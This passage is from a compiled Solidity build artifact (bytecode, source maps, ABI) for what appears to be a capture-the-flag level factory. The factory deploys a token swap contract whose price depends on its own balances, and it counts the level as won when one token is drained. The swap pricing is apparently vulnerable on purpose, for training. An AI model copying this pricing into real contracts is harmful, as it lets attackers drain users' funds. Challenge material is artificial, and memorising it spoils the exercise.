01b0387168452909152812054909190838110156103b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102bf8286868403610440565b5f3361029b818585610627565b6005546001600160a01b03908116908416036104305760405162461bcd60e51b815260206004820152600f60248201527f496e76616c6964417070726f766572000000000000000000000000000000000060448201526064016103af565b61043b838383610440565b505050565b6001600160a01b0383166104bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0382166105375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062157818110156106145760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103af565b6106218484848403610440565b50505050565b6001600160a01b0383166106a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b03821661071f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0383165f90815260208190526040902054818110156107ad5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e390849061098d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082f91815260200190565b60405180910390a3610621565b5f602080835283518060208501525f5b818110156108685785810183015185820160400152820161084c565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461089e575f80fd5b919050565b5f80604083850312156108b4575f80fd5b6108bd83610888565b946020939093013593505050565b5f805f606084860312156108dd575f80fd5b6108e684610888565b92506108f460208501610888565b9150604084013590509250925092565b5f60208284031215610914575f80fd5b61091d82610888565b9392505050565b5f8060408385031215610935575f80fd5b61093e83610888565b915061094c60208401610888565b90509250929050565b600181811c9082168061096957607f821691505b60208210810361098757634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102a157634e487b7160e01b5f52601160045260245ffdfea2646970667358221220afef22fd752b83761ebdc5d9105b781bc6a6b1dc6a16170befd4ad86594251b364736f6c63430008180033a2646970667358221220a76b0d7b060548b53dc7f7c2ae20289d815428ea8e136584a9443d1a65f9fbc664736f6c63430008180033","sourceMap":"164:1295:68:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;164:1295:68;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;164:1295:68:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052600436106200005f575f3560e01c80638da5cb5b11620000465780638da5cb5b14620000b0578063d38def5b14620000ce578063f2fde38b1462000103575f80fd5b8063715018a614620000635780637726f776146200007c575b5f80fd5b3480156200006f575f80fd5b506200007a62000127565b005b620000936200008d36600462000929565b6200013e565b6040516001600160a01b0390911681526020015b60405180910390f35b348015620000bc575f80fd5b505f546001600160a01b031662000093565b348015620000da575f80fd5b50620000f2620000ec3660046200094e565b620005e4565b6040519015158152602001620000a7565b3480156200010f575f80fd5b506200007a6200012136600462000929565b6200079c565b6200013162000836565b6200013c5f62000891565b565b5f806040516200014e90620008f8565b604051809103905ff08015801562000168573d5f803e3d5ffd5b5090505f8190505f81606e604051620001819062000906565b6001600160a01b0390921682526080602083018190526007908301527f546f6b656e20310000000000000000000000000000000000000000000000000060a083015260c0604083018190526004908301527f544b4e310000000000000000000000000000000000000000000000000000000060e0830152606082015261010001604051809103905ff0801580156200021b573d5f803e3d5ffd5b5090505f82606e604051620002309062000906565b6001600160a01b0390921682526080602083018190526007908301527f546f6b656e20320000000000000000000000000000000000000000000000000060a083015260c0604083018190526004908301527f544b4e320000000000000000000000000000000000000000000000000000000060e0830152606082015261010001604051809103905ff080158015620002ca573d5f803e3d5ffd5b506040517fcbc7854e0000000000000000000000000000000000000000000000000000000081526001600160a01b0380851660048301528083166024830152919250839183919087169063cbc7854e906044015f604051808303815f87803b15801562000335575f80fd5b505af115801562000348573d5f803e3d5ffd5b505060405163095ea7b360e01b81526001600160a01b038881166004830152606460248301528716925063095ea7b391506044016020604051808303815f875af115801562000399573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003bf91906200098a565b5060405163095ea7b360e01b81526001600160a01b0386811660048301526064602483015284169063095ea7b3906044016020604051808303815f875af11580156200040d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200043391906200098a565b506040516256688760e81b81526001600160a01b038381166004830152606460248301528716906356688700906044015f604051808303815f87803b1580156200047b575f80fd5b505af11580156200048e573d5f803e3d5ffd5b50506040516256688760e81b81526001600160a01b0384811660048301526064602483015289169250635668870091506044015f604051808303815f87803b158015620004d9575f80fd5b505af1158015620004ec573d5f803e3d5ffd5b505060405163a9059cbb60e01b81526001600160a01b038b81166004830152600a60248301528716925063a9059cbb91506044016020604051808303815f875af11580156200053d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200056391906200098a565b5060405163a9059cbb60e01b81526001600160a01b038981166004830152600a602483015284169063a9059cbb906044016020604051808303815f875af1158015620005b1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005d791906200098a565b5093979650505050505050565b5f80836001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000623573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620006499190620009ab565b90505f846001600160a01b03166325be124e6040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000689573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620006af9190620009ab565b6040516370a0823160e01b81526001600160a01b038781166004830152919250908316906370a0823190602401602060405180830381865afa158015620006f8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200071e9190620009c9565b15806200079357506040516370a0823160e01b81526001600160a01b0386811660048301528216906370a0823190602401602060405180830381865afa1580156200076b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620007919190620009c9565b155b95945050505050565b620007a662000836565b6001600160a01b038116620008285760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b620008338162000891565b50565b5f546001600160a01b031633146200013c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016200081f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610ae180620009e283390190565b610e3380620014c383390190565b6001600160a01b038116811462000833575f80fd5b5f602082840312156200093a575f80fd5b8135620009478162000914565b9392505050565b5f806040838503121562000960575f80fd5b82356200096d8162000914565b915060208301356200097f8162000914565b809150509250929050565b5f602082840312156200099b575f80fd5b8151801515811462000947575f80fd5b5f60208284031215620009bc575f80fd5b8151620009478162000914565b5f60208284031215620009da575f80fd5b505191905056fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a678061007a5f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c8063bfd7e00d1161007d578063df791e5011610058578063df791e501461017f578063f2fde38b14610192578063f7888aec146101a5575f80fd5b8063bfd7e00d14610138578063cbc7854e14610159578063d21220a71461016c575f80fd5b806356688700116100ad578063566887001461010d578063715018a6146101205780638da5cb5b14610128575f80fd5b8063095ea7b3146100c857806325be124e146100dd575b5f80fd5b6100db6100d6366004610907565b6101b8565b005b6002546100f0906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100db61011b366004610907565b61028a565b6100db61030b565b5f546001600160a01b03166100f0565b61014b61014636600461092f565b61031e565b604051908152602001610104565b6100db610167366004610968565b610408565b6001546100f0906001600160a01b031681565b6100db61018d36600461092f565b61044b565b6100db6101a0366004610999565b610733565b61014b6101b3366004610968565b6107c3565b60015460405163e1f21c6760e01b81523360048201526001600160a01b038481166024830152604482018490529091169063e1f21c67906064015f604051808303815f87803b158015610209575f80fd5b505af115801561021b573d5f803e3d5ffd5b505060025460405163e1f21c6760e01b81523360048201526001600160a01b03868116602483015260448201869052909116925063e1f21c6791506064015f604051808303815f87803b158015610270575f80fd5b505af1158015610282573d5f803e3d5ffd5b505050505050565b610292610837565b6040516323b872dd60e01b8152336004820152306024820152604481018290526001600160a01b038316906323b872dd906064016020604051808303815f875af11580156102e2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061030691906109b2565b505050565b610313610837565b61031c5f610890565b565b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa158015610362573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061038691906109d8565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a0823190602401602060405180830381865afa1580156103c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103ec91906109d8565b6103f690846109ef565b6104009190610a12565b949350505050565b610410610837565b600180546001600160a01b0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560028054929093169116179055565b6001546001600160a01b03848116911614801561047557506002546001600160a01b038381169116145b806104a557506002546001600160a01b0384811691161480156104a557506001546001600160a01b038381169116145b6104f65760405162461bcd60e51b815260206004820152600e60248201527f496e76616c696420746f6b656e7300000000000000000000000000000000000060448201526064015b60405180910390fd5b6040516370a0823160e01b815233600482015281906001600160a01b038516906370a0823190602401602060405180830381865afa15801561053a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055e91906109d8565b10156105ac5760405162461bcd60e51b815260206004820152601260248201527f4e6f7420656e6f75676820746f2073776170000000000000000000000000000060448201526064016104ed565b5f6105b884848461031e565b6040516323b872dd60e01b8152336004820152306024820152604481018490529091506001600160a01b038516906323b872dd906064016020604051808303815f875af115801561060b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062f91906109b2565b506040517f095ea7b3000000000000000000000000000000000000000000000000000000008152306004820152602481018290526001600160a01b0384169063095ea7b3906044016020604051808303815f875af1158015610693573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b791906109b2565b506040516323b872dd60e01b8152306004820152336024820152604481018290526001600160a01b038416906323b872dd906064016020604051808303815f875af1158015610708573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072c91906109b2565b5050505050565b61073b610837565b6001600160a01b0381166107b75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104ed565b6107c081610890565b50565b6040516370a0823160e01b81526001600160a01b0382811660048301525f91908416906370a0823190602401602060405180830381865afa15801561080a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082e91906109d8565b90505b92915050565b5f546001600160a01b0316331461031c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104ed565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b0381168114610902575f80fd5b919050565b5f8060408385031215610918575f80fd5b610921836108ec565b946020939093013593505050565b5f805f60608486031215610941575f80fd5b61094a846108ec565b9250610958602085016108ec565b9150604084013590509250925092565b5f8060408385031215610979575f80fd5b610982836108ec565b9150610990602084016108ec565b90509250929050565b5f602082840312156109a9575f80fd5b61082e826108ec565b5f602082840312156109c2575f80fd5b815180151581146109d1575f80fd5b9392505050565b5f602082840312156109e8575f80fd5b5051919050565b808202811582820484141761083157634e487b7160e01b5f52601160045260245ffd5b5f82610a2c57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b57cf9ac90d2bc30df42da4a6d18e47ef75e0abef0fa76269178775c3763545c64736f6c63430008180033608060405234801562000010575f80fd5b5060405162000e3338038062000e3383398101604081905262000033916200023c565b8282600362000043838262000351565b50600462000052828262000351565b5050506200006733826200009160201b60201c565b5050600580546001600160a01b0319166001600160a01b0393909316929092179091555062000443565b6001600160a01b038216620000ec5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620000ff91906200041d565b90915550506001600160a01b0382165f90815260208190526040812080548392906200012d9084906200041d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126200019f575f80fd5b81516001600160401b0380821115620001bc57620001bc6200017b565b604051601f8301601f19908116603f01168101908282118183101715620001e757620001e76200017b565b816040528381526020925086602085880101111562000204575f80fd5b5f91505b8382101562000227578582018301518183018401529082019062000208565b5f602085830101528094505050505092915050565b5f805f806080858703121562000250575f80fd5b84516001600160a01b038116811462000267575f80fd5b60208601519094506001600160401b038082111562000284575f80fd5b62000292888389016200018f565b94506040870151915080821115620002a8575f80fd5b50620002b7878288016200018f565b606096909601519497939650505050565b600181811c90821680620002dd57607f821691505b602082108103620002fc57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200017657805f5260205f20601f840160051c81016020851015620003295750805b601f840160051c820191505b818110156200034a575f815560010162000335565b5050505050565b81516001600160401b038111156200036d576200036d6200017b565b62000385816200037e8454620002c8565b8462000302565b602080601f831160018114620003bb575f8415620003a35750858301515b5f19600386901b1c1916600185901b17855562000415565b5f85815260208120601f198616915b82811015620003eb57888601518255948401946001909101908401620003ca565b50858210156200040957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200043d57634e487b7160e01b5f52601160045260245ffd5b92915050565b6109e280620004515f395ff3fe608060405234801561000f575f80fd5b50600436106100cf575f3560e01c806370a082311161007d578063a9059cbb11610058578063a9059cbb1461019e578063dd62ed3e146101b1578063e1f21c67146101e9575f80fd5b806370a082311461015b57806395d89b4114610183578063a457c2d71461018b575f80fd5b806323b872dd116100ad57806323b872dd14610126578063313ce567146101395780633950935114610148575f80fd5b806306fdde03146100d3578063095ea7b3146100f157806318160ddd14610114575b5f80fd5b6100db6101fe565b6040516100e8919061083c565b60405180910390f35b6101046100ff3660046108a3565b61028e565b60405190151581526020016100e8565b6002545b6040519081526020016100e8565b6101046101343660046108cb565b6102a7565b604051601281526020016100e8565b6101046101563660046108a3565b6102ca565b610118610169366004610904565b6001600160a01b03165f9081526020819052604090205490565b6100db610308565b6101046101993660046108a3565b610317565b6101046101ac3660046108a3565b6103c5565b6101186101bf366004610924565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101fc6101f73660046108cb565b6103d2565b005b60606003805461020d90610955565b80601f016020809104026020016040519081016040528092919081815260200182805461023990610955565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f3361029b818585610440565b60019150505b92915050565b5f336102b4858285610597565b6102bf858585610627565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061029b908290869061030390879061098d565b610440565b60606004805461020d90610955565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102bf8286868403610440565b5f3361029b818585610627565b6005546001600160a01b03908116908416036104305760405162461bcd60e51b815260206004820152600f60248201527f496e76616c6964417070726f766572000000000000000000000000000000000060448201526064016103af565b61043b838383610440565b505050565b6001600160a01b0383166104bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0382166105375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062157818110156106145760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103af565b6106218484848403610440565b50505050565b6001600160a01b0383166106a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b03821661071f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0383165f90815260208190526040902054818110156107ad5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e390849061098d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082f91815260200190565b60405180910390a3610621565b5f602080835283518060208501525f5b818110156108685785810183015185820160400152820161084c565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461089e575f80fd5b919050565b5f80604083850312156108b4575f80fd5b6108bd83610888565b946020939093013593505050565b5f805f606084860312156108dd575f80fd5b6108e684610888565b92506108f460208501610888565b9150604084013590509250925092565b5f60208284031215610914575f80fd5b61091d82610888565b9392505050565b5f8060408385031215610935575f80fd5b61093e83610888565b915061094c60208401610888565b90509250929050565b600181811c9082168061096957607f821691505b60208210810361098757634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102a157634e487b7160e01b5f52601160045260245ffdfea2646970667358221220afef22fd752b83761ebdc5d9105b781bc6a6b1dc6a16170befd4ad86594251b364736f6c63430008180033a2646970667358221220a76b0d7b060548b53dc7f7c2ae20289d815428ea8e136584a9443d1a65f9fbc664736f6c63430008180033","sourceMap":"164:1295:68:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;199:947:68;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;199:947:68;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;1152:305:68;;;;;;;;;;-1:-1:-1;1152:305:68;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;1152:305:68;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;199:947:68:-;273:7;292:12;307:9;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;292:24;;326:23;360:8;326:43;;380:28;430:15;466:3;411:59;;;;;:::i;:::-;-1:-1:-1;;;;;1618:55:155;;;1600:74;;1710:3;1705:2;1690:18;;1683:31;;;1751:1;1730:19;;;1723:30;1790:9;1784:3;1769:19;;1762:38;1836:3;1831:2;1816:18;;1809:31;;;1877:1;1856:19;;;1849:30;1916:6;1910:3;1895:19;;1888:35;-1:-1:-1;1975:18:155;;1968:34;1955:3;1940:19;411:59:68;;;;;;;;;;;;;;;;;;;;;;;380:90;;480:31;533:15;569:3;514:59;;;;;:::i;:::-;-1:-1:-1;;;;;2382:55:155;;;2364:74;;2474:3;2469:2;2454:18;;2447:31;;;2515:1;2494:19;;;2487:30;2554:9;2548:3;2533:19;;2526:38;2600:3;2595:2;2580:18;;2573:31;;;2641:1;2620:19;;;2613:30;2680:6;2674:3;2659:19;;2652:35;-1:-1:-1;2739:18:155;;2732:34;2719:3;2704:19;514:59:68;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;717:65:68;;;;;-1:-1:-1;;;;;3030:15:155;;;717:65:68;;;3012:34:155;3082:15;;;3062:18;;;3055:43;480:93:68;;-1:-1:-1;623:13:68;;480:93;;717:18;;;;;;2924::155;;717:65:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;793:43:68;;-1:-1:-1;;;793:43:68;;-1:-1:-1;;;;;3311:55:155;;;793:43:68;;;3293:74:155;832:3:68;3383:18:155;;;3376:34;793:21:68;;;-1:-1:-1;793:21:68;;-1:-1:-1;3266:18:155;;793:43:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;846:46:68;;-1:-1:-1;;;846:46:68;;-1:-1:-1;;;;;3311:55:155;;;846:46:68;;;3293:74:155;888:3:68;3383:18:155;;;3376:34;846:24:68;;;;;3266:18:155;;846:46:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;903:48:68;;-1:-1:-1;;;903:48:68;;-1:-1:-1;;;;;3311:55:155;;;903:48:68;;;3293:74:155;947:3:68;3383:18:155;;;3376:34;903:21:68;;;;;3266:18:155;;903:48:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;961:51:68;;-1:-1:-1;;;961:51:68;;-1:-1:-1;;;;;3311:55:155;;;961:51:68;;;3293:74:155;1008:3:68;3383:18:155;;;3376:34;961:21:68;;;-1:-1:-1;961:21:68;;-1:-1:-1;3266:18:155;;961:51:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1023:35:68;;-1:-1:-1;;;1023:35:68;;-1:-1:-1;;;;;3311:55:155;;;1023:35:68;;;3293:74:155;1055:2:68;3383:18:155;;;3376:34;1023:22:68;;;-1:-1:-1;1023:22:68;;-1:-1:-1;3266:18:155;;1023:35:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;1068:38:68;;-1:-1:-1;;;1068:38:68;;-1:-1:-1;;;;;3311:55:155;;;1068:38:68;;;3293:74:155;1103:2:68;3383:18:155;;;3376:34;1068:25:68;;;;;3266:18:155;;1068:38:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;1124:15:68;;199:947;-1:-1:-1;;;;;;;199:947:68:o;1152:305::-;1244:4;1260:14;1281:9;-1:-1:-1;;;;;1277:21:68;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1260:40;;1310:14;1331:9;-1:-1:-1;;;;;1327:21:68;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1367:35;;-1:-1:-1;;;1367:35:68;;-1:-1:-1;;;;;589:55:155;;;1367:35:68;;;571:74:155;1310:40:68;;-1:-1:-1;1367:24:68;;;;;;544:18:155;;1367:35:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:40;;:83;;-1:-1:-1;1411:34:68;;-1:-1:-1;;;1411:34:68;;-1:-1:-1;;;;;589:55:155;;;1411:34:68;;;571:74:155;1411:23:68;;;;;544:18:155;;1411:34:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:39;1367:83;1360:90;1152:305;-1:-1:-1;;;;;1152:305:68:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;4900:2:155;2161:73:23::1;::::0;::::1;4882:21:155::0;4939:2;4919:18;;;4912:30;4978:34;4958:18;;;4951:62;5049:8;5029:18;;;5022:36;5075:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;5307:2:155;1414:68:23;;;5289:21:155;;;5326:18;;;5319:30;5385:34;5365:18;;;5358:62;5437:18;;1414:68:23;5105:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;:::-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;3421:277::-;3488:6;3541:2;3529:9;3520:7;3516:23;3512:32;3509:52;;;3557:1;3554;3547:12;3509:52;3589:9;3583:16;3642:5;3635:13;3628:21;3621:5;3618:32;3608:60;;3664:1;3661;3654:12;4014:251;4084:6;4137:2;4125:9;4116:7;4112:23;4108:32;4105:52;;;4153:1;4150;4143:12;4105:52;4185:9;4179:16;4204:31;4229:5;4204:31;:::i;4509:184::-;4579:6;4632:2;4620:9;4611:7;4607:23;4603:32;4600:52;;;4648:1;4645;4638:12;4600:52;-1:-1:-1;4671:16:155;;4509:184;-1:-1:-1;4509:184:155:o","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current 